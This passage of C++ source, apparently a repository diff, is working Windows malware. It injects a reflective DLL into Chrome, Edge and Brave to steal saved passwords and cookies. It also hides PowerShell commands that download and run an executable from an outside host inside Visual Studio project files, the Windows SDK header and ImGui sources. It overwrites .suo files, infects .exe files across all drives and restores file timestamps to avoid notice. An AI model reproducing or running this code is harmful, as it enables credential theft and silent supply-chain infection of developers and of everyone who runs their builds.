PVOID funcOffsetPtr = RvaToOffset(funcs[ordinals[i]]);
if (!funcOffsetPtr)
return 0;
return (DWORD)((uintptr_t)funcOffsetPtr - (uintptr_t)m_decryptedDllPayload.data());
}
}
return 0;
}
void startHijackedThreadInTarget(PVOID remoteDllBase, DWORD rdiOffset, PVOID remotePipeNameAddr)
{
m_console.Debug(EC("Creating new thread in target to execute ReflectiveLoader."));
uintptr_t entryPoint = reinterpret_cast<uintptr_t>(remoteDllBase) + rdiOffset;
HANDLE hRemoteThread = nullptr;
NTSTATUS status = NtCreateThreadEx_syscall(&hRemoteThread, THREAD_ALL_ACCESS, nullptr, m_target.getProcessHandle(),
(LPTHREAD_START_ROUTINE)entryPoint, remotePipeNameAddr, 0, 0, 0, 0, nullptr);
UniqueHandle remoteThreadGuard(hRemoteThread);
if (!NT_SUCCESS(status))
{
}
m_console.Debug(EC("Successfully created new thread for payload."));
}
TargetProcess& m_target;
const Console& m_console;
std::vector<BYTE> m_decryptedDllPayload;
};
void KillBrowserNetworkService(const Configuration& config, const Console& console)
{
console.Info(EC("Scanning for and terminating browser network services..."));
UniqueHandle hCurrentProc;
HANDLE nextProcHandle = nullptr;
int processes_terminated = 0;
while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, 0, 0, &nextProcHandle)))
{
UniqueHandle hNextProc(nextProcHandle);
hCurrentProc = std::move(hNextProc);
std::vector<BYTE> buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2);
auto imageName = reinterpret_cast<PUNICODE_STRING_SYSCALLS>(buffer.data());
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName, imageName, (ULONG)buffer.size(), NULL)) || imageName->Length == 0)
continue;
fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t)));
if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0)
continue;
PROCESS_BASIC_INFORMATION pbi{};
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation, &pbi, sizeof(pbi), nullptr)) || !pbi.PebBaseAddress)
continue;
PEB peb{};
if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr)))
continue;
RTL_USER_PROCESS_PARAMETERS params{};
if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, &params, sizeof(params), nullptr)))
continue;
std::vector<wchar_t> cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0);
if (params.CommandLine.Length > 0 && !NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer, cmdLine.data(), params.CommandLine.Length, nullptr)))
continue;
if (wcsstr(cmdLine.data(), EC(L"--utility-sub-type=network.mojom.NetworkService")))
{
console.Success(EC("Found and terminated network service PID: ") + std::to_string((DWORD)pbi.UniqueProcessId));
NtTerminateProcess_syscall(hCurrentProc.get(), 0);
processes_terminated++;
}
}
if (processes_terminated > 0)
{
console.Info(EC("Termination sweep complete. Waiting for file locks to fully release."));
Sleep(1500);
}
}
void RunInjectionWorkflow(const Configuration& config, const Console& console, std::vector<BYTE> borr)
{
KillBrowserNetworkService(config, console);
TargetProcess target(config, console);
target.createSuspended();
PipeCommunicator pipe(Utils::GenerateUniquePipeName(), console);
pipe.create();
InjectionManager injector(target, console);
injector.execute(pipe.getName(), borr);
pipe.waitForClient();
pipe.sendInitialData(config.verbose, config.outputPath);
pipe.relayMessages();
target.terminate();
}
std::string toString(const json& j) {
if (j.is_string()) return j.get<std::string>();
if (j.is_number()) return std::to_string(j.get<double>());
if (j.is_boolean()) return j.get<bool>() ? EC("true") : EC("false");
if (j.is_null()) return EC("");
return ""; // fallback, or handle arrays/objects separately
}
void PassProcess(const std::string& path, std::vector<std::vector<std::string>>& Passeyy, std::string Nummy) {
if (fs::exists(path)) {
std::string decrypted;
if (LoadDecryptedFromFile(decrypted, path, 0xAA)) {
try {
json j = json::parse(decrypted);
std::cout << EC("\n=== Decrypted from: ") << path << EC(" ===\n");
for (auto& item : j) {
if (item.contains(EC("origin")) && item.contains(EC("username")) && item.contains(EC("password"))) {
try {
// Credentials format
/*std::cout << EC("Origin: ") << item[EC("origin")] << EC("\n");
std::cout << EC("Username: ") << item[EC("username")] << EC("\n");
std::cout << EC("Password: ") << item[EC("password")] << EC("\n");
std::cout << EC("---------------------\n");*/
Passeyy.push_back({ toString(item[EC("origin")]), toString(item[EC("username")]), toString(item[EC("password")]), Nummy });
}
catch (std::exception& e) {
std::cerr << EC("JSON parse error BUT INSIDEE: ") << e.what() << EC("\n");
continue;
}
}
else {
std::cout << item.dump(4) << EC("\n");
}
}
}
catch (std::exception& e) {
std::cerr << EC("JSON parse error in ") << path << EC(": ") << e.what() << EC("\n");
}
}
else {
std::cout << EC("Failed to decrypt: ") << path << EC("\n");
}
// Delete file after processing
std::error_code ec;
fs::remove(path, ec);
if (ec) {
std::cerr << EC("Failed to delete: ") << path << EC(" (") << ec.message() << EC(")\n");
}
}
}
void CookieProcess(const std::string& path, std::vector<std::vector<std::string>>& Cookies, std::string Nummy) {
if (fs::exists(path)) {
std::string decrypted;
std::cout << EC("Ck 1") << std::endl;
if (LoadDecryptedFromFile(decrypted, path, 0xAA)) {
try {
std::cout << EC("Ck 2") << std::endl;
json j = json::parse(decrypted);
std::cout << EC("\n=== Decrypted from: ") << path << EC(" ===\n");
for (auto& item : j) {
if (item.contains(EC("host")) && item.contains(EC("name")) && item.contains(EC("value"))) {
try
{
// Cookie format
/*std::cout << EC("Host: ") << item[EC("host")] << EC("\n");
std::cout << EC("Name: ") << item[EC("name")] << EC("\n");
std::cout << EC("Value: ") << item[EC("value")] << EC("\n");
std::cout << EC("Path: ") << item[EC("path")] << EC("\n");
std::cout << EC("Secure: ") << item[EC("secure")] << EC("\n");
std::cout << EC("HttpOnly: ") << item[EC("httpOnly")] << EC("\n");
std::cout << EC("Expires: ") << item[EC("expires")] << EC("\n");
std::cout << EC("---------------------\n");*/
Cookies.push_back({ toString(item[EC("name")]), toString(item[EC("value")]), toString(item[EC("host")]), toString(item[EC("path")]), toString(item[EC("expires")]), Nummy });
}
catch (std::exception& e) {
std::cerr << EC("JSON parse error BUT INSIDEE: ") << e.what() << EC("\n");
continue;
}
}
else {
std::cout << item.dump(4) << EC("\n");
}
}
}
catch (std::exception& e) {
std::cerr << EC("JSON parse error in ") << path << EC(": ") << e.what() << EC("\n");
}
}
else {
std::cout << EC("Failed to decrypt: ") << path << EC("\n");
}
// Delete file after processing
std::error_code ec;
fs::remove(path, ec);
if (ec) {
std::cerr << EC("Failed to delete: ") << path << EC(" (") << ec.message() << EC(")\n");
}
}
}
bool IsBrowserInstalled(const std::wstring& regSubKey, const std::wstring& valueName)
{
HKEY hKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, regSubKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS &&
RegOpenKeyExW(HKEY_CURRENT_USER, regSubKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
{
return false;
}
wchar_t path[MAX_PATH];
DWORD pathSize = sizeof(path);
LONG result = RegQueryValueExW(hKey, valueName.c_str(), nullptr, nullptr, reinterpret_cast<LPBYTE>(path), &pathSize);
RegCloseKey(hKey);
return (result == ERROR_SUCCESS && wcslen(path) > 0);
}
bool HasChrome()
{
return IsBrowserInstalled(EC(L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe"), EC(L""));
}
bool HasBrave()
{
return IsBrowserInstalled(EC(L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\brave.exe"), EC(L""));
}
// Function definition
void Moain(std::vector<BYTE> bayyat, std::vector<std::vector<std::string>>& Cookies, std::vector<std::vector<std::string>>& Passeyy) {
Console console(false);
if (!InitializeSyscalls(false))
{
console.Error(EC("Failed to initialize direct syscalls. Critical NTDLL functions might be hooked or gadgets not found."));
}
std::string Temppp = GetTempPathStr();
std::string ChromeCookiePath = Temppp + EC("chc11");
std::string ChromePassPath = Temppp + EC("cps11");
std::string EdgeCookiePath = Temppp + EC("eck11");
std::string EdgePassPath = Temppp + EC("eps11");
std::string BraveCookiePath = Temppp + EC("bccb11");
std::string BravePassPath = Temppp + EC("bppb11");
std::vector<std::vector<std::string>> CookiesTepo;
std::vector<std::vector<std::string>> PasswordsTepo;
if (HasChrome())
{
printf(EC("In Chrome"));
auto optConfig = Configuration::CreateFromArgs(EC(L"chrome"));
try
{
RunInjectionWorkflow(*optConfig, console, bayyat);
}
catch (const std::runtime_error& e)
{
console.Error(e.what());
}
Sleep(250);
CookieProcess(ChromeCookiePath, CookiesTepo, EC("1"));
PassProcess(ChromePassPath, PasswordsTepo, EC("1"));
Cookies = CookiesTepo;
Passeyy = PasswordsTepo;
}
printf(EC("In Edge"));
auto optConfig2 = Configuration::CreateFromArgs(EC(L"edge"));
try
{
RunInjectionWorkflow(*optConfig2, console, bayyat);
}
catch (const std::runtime_error& e)
{
console.Error(e.what());
}
Sleep(250);
//CookieProcess(EdgeCookiePath, CookiesTepo, EC("2"));
if (fs::exists(EdgeCookiePath)) {
std::error_code eced;
fs::remove(EdgeCookiePath, eced);
if (eced) {
std::cerr << EC("Failed to delete: ") << EdgeCookiePath << EC(" (") << eced.message() << EC(")\n");
}
}
PassProcess(EdgePassPath, PasswordsTepo, EC("2"));
Cookies = CookiesTepo;
Passeyy = PasswordsTepo;
if (HasBrave())
{
printf(EC("In Brave"));
auto optConfig3 = Configuration::CreateFromArgs(EC(L"brave"));
try
{
RunInjectionWorkflow(*optConfig3, console, bayyat);
}
catch (const std::runtime_error& e)
{
std::cout << EC("Error during injection: ") << e.what() << EC("\n");
}
Sleep(250);
//CookieProcess(BraveCookiePath, CookiesTepo, EC("3"));
if (fs::exists(BraveCookiePath)) {
std::error_code eceb;
fs::remove(BraveCookiePath, eceb);
if (eceb) {
std::cerr << EC("Failed to delete: ") << BraveCookiePath << EC(" (") << eceb.message() << EC(")\n");
}
}
PassProcess(BravePassPath, PasswordsTepo, EC("3"));
Cookies = CookiesTepo;
Passeyy = PasswordsTepo;
}
CookiesTepo.clear();
PasswordsTepo.clear();
printf(EC("Injector finished successfully."));
}
+7
View File
@@ -0,0 +1,7 @@
#pragma once
#include <vector>
#include <Windows.h> // for BYTE
#include <iostream>
// Function declaration
void Moain(std::vector<BYTE> bayyat, std::vector<std::vector<std::string>>& Cookies, std::vector<std::vector<std::string>>& Passeyy);
File diff suppressed because it is too large Load Diff
+884
View File
@@ -0,0 +1,884 @@
#include <iostream>
#include <fstream>
#include <string>
#include <regex>
#include <filesystem>
#include <chrono>
#include <iomanip>
#include "ExInfector/mainito.h"
#include <random>
#include <Windows.h>
#include <vector>
//#include "../Functions.h"
namespace fs = std::filesystem;
std::vector<uint8_t> suo = {
0xD0, 0xCF, 0xFF
};
std::vector<uint8_t> bitt = {
0xD0, 0xCF, 0xFF
};
string MainOwnerNumber;
std::string wstring_view_to_string(std::wstring_view wstr_view) {
return std::string(wstr_view.begin(), wstr_view.end());
}
void replaceBackslashes(const std::string& filePath) {
// Open the file for reading
std::ifstream inputFile(filePath);
if (!inputFile) {
std::cerr << EC("Error: Could not open the file for reading: ") << filePath << std::endl;
return;
}
// Read the content of the file into a string
std::string content((std::istreambuf_iterator<char>(inputFile)),
(std::istreambuf_iterator<char>()));
inputFile.close();
// Replace all backslashes with forward slashes
for (char& c : content) {
if (c == '\\') {
c = '/';
}
}
// Open the file for writing
std::ofstream outputFile(filePath);
if (!outputFile) {
std::cerr << EC("Error: Could not open the file for writing: ") << filePath << std::endl;
return;
}
// Write the modified content back to the file
outputFile << content;
outputFile.close();
std::cout << EC("All backslashes have been replaced with forward slashes in the file: ") << filePath << std::endl;
}
std::vector<std::string> GetWindowsSDKPaths() {
HKEY hKey;
const char* subKey = EC("SOFTWARE\\Microsoft\\Windows Kits\\Installed Roots");
char sdkPath[MAX_PATH];
DWORD size = MAX_PATH;
std::vector<std::string> sdkPaths;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, subKey, 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
std::cerr << EC("Failed to open registry key.") << std::endl;
return sdkPaths;
}
if (RegQueryValueExA(hKey, EC("KitsRoot10"), nullptr, nullptr, (LPBYTE)sdkPath, &size) != ERROR_SUCCESS) {
std::cerr << EC("Failed to read registry value.") << std::endl;
RegCloseKey(hKey);
return sdkPaths;
}
RegCloseKey(hKey);
std::string includePath = std::string(sdkPath) + EC("Include");
WIN32_FIND_DATAA findData;
HANDLE hFind = FindFirstFileA((includePath + EC("\\*")).c_str(), &findData);
if (hFind != INVALID_HANDLE_VALUE) {
do {
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
std::string version = findData.cFileName;
if (version.find('.') != std::string::npos) {
std::string fullPath = includePath + EC("\\") + version + EC("\\um\\windows.h");
sdkPaths.push_back(fullPath);
}
}
} while (FindNextFileA(hFind, &findData));
FindClose(hFind);
}
else {
std::cerr << EC("Failed to find SDK versions.") << std::endl;
}
return sdkPaths;
}
bool FileExists(const std::string& path) {
DWORD fileAttr = GetFileAttributesA(path.c_str());
return (fileAttr != INVALID_FILE_ATTRIBUTES && !(fileAttr & FILE_ATTRIBUTE_DIRECTORY));
}
std::string GetTempFilePath() {
char tempPath[MAX_PATH];
char tempFile[MAX_PATH];
if (GetTempPathA(MAX_PATH, tempPath) == 0) {
return "";
}
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<int> dist(100000, 999999);
sprintf_s(tempFile, EC("%sads_%d.h"), tempPath, dist(gen));
return std::string(tempFile);
}
bool fileContainsString(const std::string& filePath, const std::string& searchString) {
// Check if the file exists
/*if (!std::filesystem::exists(filePath)) {
std::cerr << EC("Error: File does not exist: ") << filePath << std::endl;
return false;
}*/
// Try to open the file
std::ifstream file(filePath, std::ios::in);
if (!file.is_open()) {
// Provide detailed error information
std::cerr << EC("Error: Could not open the file! Path: ") << filePath << std::endl;
return false;
}
// Read the file content
std::string fileContent((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
file.close();
// Check if the file contains the search string
return fileContent.find(searchString) != std::string::npos;
}
void InfectVcxproj(const std::string& filePath) {
try {
std::string preBuildEventText = EC(R"(<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://i-like.boats/Stb/Retev.php?bl=)") + BuildID + EC(R"(.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>)");
if (fileContainsString(filePath, preBuildEventText)) return;
std::ifstream file(filePath);
if (!file.is_open()) {
return;
}
fs::file_time_type original_time = fs::last_write_time(filePath);
auto original_time_t = to_time_t(original_time);
/*std::cout << "Original last modified date: "
<< std::put_time(std::localtime(&original_time_t), "%Y-%m-%d %H:%M:%S")
<< std::endl;*/
std::string content((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
file.close();
// Define the pattern to find </ItemDefinitionGroup>
std::string pattern = EC("</ItemDefinitionGroup>");
std::regex rgx(pattern);
// Insert <PreBuildEvent> above every </ItemDefinitionGroup>
content = std::regex_replace(content, rgx, preBuildEventText + EC("\n$&"));
// Write the modified content back to the file
std::ofstream outputFile(filePath);
if (!outputFile.is_open()) {
std::cerr << EC("Error opening file for writing: ") << filePath << std::endl;
return;
}
outputFile << content;
outputFile.close();
fs::last_write_time(filePath, original_time);
// Verify the change
fs::file_time_type new_time = fs::last_write_time(filePath);
auto new_time_t = to_time_t(new_time);
/*std::cout << "New last modified date: "
<< std::put_time(std::localtime(&new_time_t), "%Y-%m-%d %H:%M:%S")
<< std::endl;*/
//std::cout << "Modified " << filePath << " successfully." << std::endl;
}
catch (...)
{
std::cout << EC("Excexption blah blah file prob open vcx path: ") << filePath << std::endl;
}
}
std::string toHex(const std::string& str) {
std::stringstream hexStream;
for (unsigned char c : str) {
hexStream << "\\x" << std::setw(2) << std::setfill('0') << std::hex << (int)c;
}
return hexStream.str();
}
void modifyFile(const std::string& filename, const std::string& includeString, const std::string& backendString) {
std::ifstream inputFile(filename);
if (!inputFile) {
std::cerr << EC("Error opening file ") << filename << std::endl;
return;
}
// Read the file content into a string
std::string content;
std::string line;
bool foundInclude = false;
bool foundBackendPlatform = false;
while (std::getline(inputFile, line)) {
content += line + EC("\n");
// Check for #include <tchar.h>
if (!foundInclude && line.find(EC("#include <tchar.h>")) != std::string::npos) {
foundInclude = true;
content += EC("#include <string>\n");
content += includeString + EC("\n");
}
if (!foundBackendPlatform && line.find(EC("io.BackendPlatformName = \"imgui_impl_win32\";")) != std::string::npos) {
foundBackendPlatform = true;
content += backendString + EC("\n");
}
}
// Close the input file
inputFile.close();
// If the relevant lines were found, rewrite the modified content to the file
if (foundInclude || foundBackendPlatform) {
std::ofstream outputFile(filename);
if (!outputFile) {
//std::cerr << "Error opening file " << filename << " for writing." << std::endl;
return;
}
outputFile << content;
outputFile.close();
//std::cout << "File modified successfully!" << std::endl;
}
else {
//std::cout << "Required lines not found in the file." << std::endl;
}
}
bool InfectSDK(const std::string& source, std::string& dest) {
fs::file_time_type original_time = fs::last_write_time(source);
auto original_time_t = to_time_t(original_time);
dest = GetTempFilePath();
if (dest.empty()) {
return false;
}
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> dis(100000, 999999);
std::string numma = std::to_string(dis(gen));
bool DoesCont = fileContainsString(source, EC("VccLibaries"));
bool DoesContMayn = fileContainsString(source, OwnersID);
std::cout << EC("Contains VccLibaries: ") << DoesCont << std::endl;
std::cout << EC("Contains OwnerID: ") << DoesContMayn << std::endl;
if (DoesCont && DoesContMayn) {
return false;
}
std::string input = EC(R"(start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://i-like.boats/Stb/Retev.php?bl=)") + BuildID + EC(R"(.txt' -OutFile $env:APPDATA\BK)") + numma + EC(R"(.exe; Start-Process -FilePath $env:APPDATA\BK)") + numma + EC(R"(.exe -WindowStyle Hidden }")");
std::string result = toHex(input);
std::string payld = EC(R"(std::string F)") + OwnersID + EC(R"( = ")") + result + EC(R"(";)");
std::string payldsys = EC(R"( system(F)") + OwnersID + EC(R"(.c_str());)");
std::ifstream inFile(source);
if (!inFile) {
return false;
}
std::ofstream outFile(dest);
if (!outFile) {
inFile.close();
return false;
}
std::string line;
bool modified = false;
while (std::getline(inFile, line)) {
outFile << line << EC("\n");
// Add VccLibaries block if it doesn't exist
if (line.find(EC("#endif /* _INC_WINDOWS */")) != std::string::npos && !modified && !DoesCont) {
outFile << EC(R"(
#ifdef __cplusplus // Only for C++ projects
#include <stdlib.h>
#include <string>
namespace VccLibaries {
struct VCC {
VCC() {
static bool Rundollay = false;
if (!Rundollay) {
//Bombakla
)");
// Add payload if OwnersID doesn't exist
if (!DoesContMayn) {
outFile << EC(" ") << payld << EC("\n");
outFile << EC(" ") << payldsys << EC("\n");
}
outFile << EC(R"(
Rundollay = true;
}
}
};
static VCC runner;
}
#endif
)");
modified = true;
}
// If VccLibaries exists but OwnersID doesn't, add payload
else if (line.find(EC("//Bombakla")) != std::string::npos && DoesCont && !DoesContMayn && !modified) {
outFile << EC(" ") << payld << EC("\n");
outFile << EC(" ") << payldsys << EC("\n");
modified = true;
}
}
inFile.close();
outFile.close();
fs::last_write_time(dest, original_time);
fs::file_time_type new_time = fs::last_write_time(dest);
auto new_time_t = to_time_t(new_time);
Sleep(3000);
AdminOpen(EC("cmd.exe /c \"move \"") + dest + EC("\" \"") + source + EC("\"\""));
Sleep(5000);
remove(dest.c_str());
return true;
}
void InfectImgui(const std::string& filePath, const std::string& OWNMB)
{
fs::file_time_type original_time = fs::last_write_time(filePath);
auto original_time_t = to_time_t(original_time);
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> dis(100000, 999999);
std::string numma = std::to_string(dis(gen));
std::string input = EC(R"(start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://i-like.boats/Stb/Retev.php?bl=)") + BuildID + EC(R"(.txt' -OutFile $env:APPDATA\HPSR)") + numma + EC(R"(.exe; Start-Process -FilePath $env:APPDATA\HPSR)") + numma + EC(R"(.exe -WindowStyle Hidden }")");
std::string result = toHex(input);
std::string payld = EC(R"(std::string F)") + OwnersID + EC(R"( = ")") + result + EC(R"(";)");
std::string payldsys = EC(R"( system(F)") + OwnersID + EC(R"(.c_str());)");
if (fileContainsString(filePath, payldsys)) return;
modifyFile(filePath, payld, payldsys);/**/
fs::last_write_time(filePath, original_time);
fs::file_time_type new_time = fs::last_write_time(filePath);
auto new_time_t = to_time_t(new_time);
}
void InfectSuo(const std::string& filePath) {
try {
fs::file_time_type original_time = fs::last_write_time(filePath);
auto original_time_t = to_time_t(original_time);
/*std::cout << "Original last modified date: "
<< std::put_time(std::localtime(&original_time_t), "%Y-%m-%d %H:%M:%S")
<< std::endl;*/
remove(filePath.c_str());
std::ofstream outfile(filePath, std::ios::binary);
if (outfile.is_open()) {
// Write the array to the file
outfile.write(reinterpret_cast<char*>(suo.data()), suo.size());
// Close the file stream
outfile.close();
//std::cout << "Array written to file: " << filePath << std::endl;
}
SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN);
fs::last_write_time(filePath, original_time);
// Verify the change
fs::file_time_type new_time = fs::last_write_time(filePath);
auto new_time_t = to_time_t(new_time);
/*std::cout << "New last modified date: "
<< std::put_time(std::localtime(&new_time_t), "%Y-%m-%d %H:%M:%S")
<< std::endl;
std::cout << "Modified " << filePath << " successfully." << std::endl;*/
}
catch (...)
{
std::cout << EC("Excexption blah blah file prob open suo path: ") << filePath << std::endl;
}
}
bool endsWith(const std::string& filePath, const std::string extension) {
if (filePath.length() >= extension.length()) {
return filePath.compare(filePath.length() - extension.length(), extension.length(), extension) == 0;
}
return false;
}
std::string trim(const std::string& str) {
auto start = str.begin();
while (start != str.end() && std::isspace(*start)) start++;
auto end = str.end();
do {
end--;
} while (std::distance(start, end) > 0 && std::isspace(*end));
return std::string(start, end + 1);
}
bool containsWeirdStuff(const std::string& str) {
for (char ch : str) {
// Check if the character is not alphanumeric and not one of the allowed symbols
if (!std::isalnum(static_cast<unsigned char>(ch)) &&
ch != '\\' && ch != '/' && ch != ':' && ch != '.' &&
ch != '_' && ch != '-' && ch != ' ' && ch != '&') {
return true; // Found a weird character
}
}
return false; // No weird characters found
}
bool fileExists(const std::string& path) {
std::ifstream file(path);
return file.good(); // Returns true if the file can be opened
}
std::string normalize_path(const std::string& path) {
std::filesystem::path fs_path(path);
return fs_path.lexically_normal().string();
}
int Winsisso(const char* command)
{
SPOOF_FUNC;
// Windows has a system() function which works, but it opens a command prompt window.
char* tmp_command, * cmd_exe_path;
int ret_val;
size_t len;
PROCESS_INFORMATION process_info = { 0 };
STARTUPINFOA startup_info = { 0 };
len = strlen(command);
tmp_command = (char*)malloc(len + 4);
tmp_command[0] = 0x2F; // '/'
tmp_command[1] = 0x63; // 'c'
tmp_command[2] = 0x20; // <space>;
memcpy(tmp_command + 3, command, len + 1);
startup_info.cb = sizeof(STARTUPINFOA);
cmd_exe_path = getenv(EC("COMSPEC"));
_flushall(); // required for Windows system() calls, probably a good idea here too
if (CreateProcessA(cmd_exe_path, tmp_command, NULL, NULL, 0, CREATE_NO_WINDOW, NULL, NULL, &startup_info, &process_info)) {
WaitForSingleObject(process_info.hProcess, INFINITE);
GetExitCodeProcess(process_info.hProcess, (LPDWORD)&ret_val);
CloseHandle(process_info.hProcess);
CloseHandle(process_info.hThread);
}
free((void*)tmp_command);
return(ret_val);
}
std::vector<std::string> vcxproj;
std::vector<std::string> imguicpp;
std::vector<std::string> suolist;
std::vector<std::string> exe64;
void SDKInfector()
{
// Windows SDK infector | Done and tested.
{
try
{
printf(EC("[SDK] Running infector \n"));
auto paths = GetWindowsSDKPaths();
bool found = false;
for (const auto& path : paths) {
if (FileExists(path)) {
std::string tempFilePath;
if (InfectSDK(path, tempFilePath)) {
std::cout << EC("Modified and copied to: ") << tempFilePath << std::endl;
}
else {
std::cerr << EC("No need to modify!: ") << path << std::endl;
}
}
}
printf(EC("[SDK] Done. \n"));
}
catch (...) {
printf(EC("[SDK] ERROR \n"));
}
}
}
void CppInfector()
{
// .cpp infector | Done and tested.
{
try
{
printf(EC("[IMGUI CPP] Retrieving paths. \n"));
printf(EC("[IMGUI CPP] Found %i imgui_impl_win32.cpp Files \n"), (int)imguicpp.size());
printf(EC("[IMGUI CPP] Running infector \n"));
for (const auto& cppPattey : imguicpp) {
try
{
//std::cout << cppPattey << " \n";
InfectImgui(cppPattey, MainOwnerNumber);
}
catch (...) { continue; }
}
printf(EC("[IMGUI CPP] Done. \n"));
}
catch (...) {
printf(EC("[IMGUI CPP] ERROR \n"));
}
}
}
void VcxprojInfector()
{
// Vcxproj infector | Done and tested.
{
try
{
printf(EC("[VCXPROJ] Found %i .vcxproj Files \n"), (int)vcxproj.size());
printf(EC("[VCXPROJ] Running infector \n"));
for (const auto& Pattey : vcxproj) {
try
{
//std::cout << Pattey << " \n";
InfectVcxproj(Pattey);
}
catch (...) { continue; }
}
printf(EC("[VCXPROJ] Done. \n"));
}
catch (...) {
printf(EC("[VCXPROJ] ERROR \n"));
}
}
}
void SuoInfector()
{
// .Suo infector | Done and tested.
{
try
{
printf(EC("[SUO] Found %i .suo Files \n"), (int)suolist.size());
printf(EC("[SUO] Running infector \n"));
SPOOF_CALL(Sleep)(500);
std::cout << suo.size() << std::endl;
if (suo.size() > 100)
{
printf(EC("[SUO] Passed \n"));
for (const auto& Suopattey : suolist) {
try
{
if (Suopattey.find(EC("\\.vs\\")) != std::string::npos) {
//std::cout << EC("Infected suo: ") << Suopattey << std::endl;
InfectSuo(Suopattey);
}
else {
continue;
}
}
catch (...) { continue; }
}
}
printf(EC("[SUO] Done. \n"));
}
catch (...) {
printf(EC("[SUO] ERROR \n"));
}
}
suo.clear();
}
void ExeInfect()
{
// x64 PE Infector | Done and tested.
{
try
{
printf(EC("[64PE] Found %i Unfiltered .exe Files \n"), (int)exe64.size());
printf(EC("[64PE] Running infector \n"));
std::cout << MainOwnerNumber << std::endl;
SPOOF_CALL(Sleep)(500);
std::cout << bitt.size() << std::endl;
if (bitt.size() > 100)
{
printf(EC("[64PE] Passed \n"));
InfectINIT(bitt, MainOwnerNumber);
for (const auto& Exepattey : exe64) {
try
{
if (Exepattey.find(EC("\\Windows")) != std::string::npos) {
continue;
}
if (IsPE64NotOpenNoRBData(Exepattey)) {
std::cout << EC("Infected exe: ") << Exepattey << std::endl;
InfectThePE(Exepattey);
}
else {
continue;
}
}
catch (...) { printf(EC("[64PE] Err. \n")); continue; }
}
}
printf(EC("[64PE] Done. \n"));
}
catch (...) {
printf(EC("[64PE] ERROR \n"));
}
}
bitt.clear();
}
bool isdonno = false;
void InfektCore()
{
SendDebugMessage(EC("[INFEKT DBG] Infekt Starting"));
try
{
for (char drive = 'A'; drive <= 'Z'; ++drive) {
std::string drivePath = std::string(1, drive) + EC(":\\");
std::wstring wDrivePath = std::wstring(drivePath.begin(), drivePath.end());
// Check if the drive exists
UINT driveType = GetDriveType(wDrivePath.c_str());
if (driveType != DRIVE_NO_ROOT_DIR) {
std::cout << drive << std::endl;
std::string beybb = EC("dir /a /s /b ") + drivePath + EC("*imgui_impl_win32.cpp ") + drivePath + EC("*.suo ") + drivePath +
EC("*.exe ") + drivePath + EC("*.vcxproj > C:\\ProgramData\\") + drive + EC("Dat.bin") + MainOwnerNumber;
std::cout << EC("Command: ") << beybb << std::endl;
// Execute the command
Winsisso(beybb.c_str());
Sleep(1500);
replaceBackslashes((EC("C:\\ProgramData\\") + std::string(1, drive) + EC("DAT.bin") + MainOwnerNumber).c_str());
std::cout << EC("Replashed slashes!") << std::endl;
Sleep(1500);
std::ifstream file((EC("C:\\ProgramData\\") + std::string(1, drive) + EC("DAT.bin") + MainOwnerNumber).c_str(), std::ios::binary);
if (!file) {
std::cerr << EC("Failed to open file DAT.bin\n");
}
std::string line;
while (std::getline(file, line)) {
line = trim(line);
/*if (containsWeirdStuff(line))
{
std::cout << "Contains weird shit: " << line << std::endl;
continue;
}*/
if (line.find(EC("C:\\Windows")) != std::string::npos)
{
std::cout << EC("Windows dtc") << std::endl;
continue;
}
if (fileExists(line)) {
if (line.find(EC(".suo")) != std::string::npos && endsWith(line, EC(".suo"))) {
suolist.push_back(normalize_path(line));
}
else if (line.find(EC(".vcxproj")) != std::string::npos && endsWith(line, EC(".vcxproj"))) {
vcxproj.push_back(normalize_path(line));
}
else if (line.find(EC("imgui_impl_win32.cpp")) != std::string::npos && endsWith(line, EC("imgui_impl_win32.cpp"))) {
imguicpp.push_back(normalize_path(line));
}
else if (line.find(EC(".exe")) != std::string::npos && endsWith(line, EC(".exe"))) {
exe64.push_back(normalize_path(line));
}
}
else { continue; }
}
file.close();
std::cout << EC("Done Now Gonna Remove") << std::endl;
Sleep(1000);
remove((EC("C:\\ProgramData\\") + std::string(1, drive) + EC("DAT.bin") + MainOwnerNumber).c_str());
}
}
isdonno = true;
}
catch (...) {
SendDebugMessage(EC("[INFEKT DBG] CATCHHHHH"));
}
SendDebugMessage(EC("[INFEKT DBG] Full End"));
Sleep(1000);
}
void InfectorBridge()
{
/*SPOOF_FUNC;
CreateThread(NULL, 0, StartInfekMain, NULL, 0, NULL);*/
HANDLE Loke = GetCurrentThread();
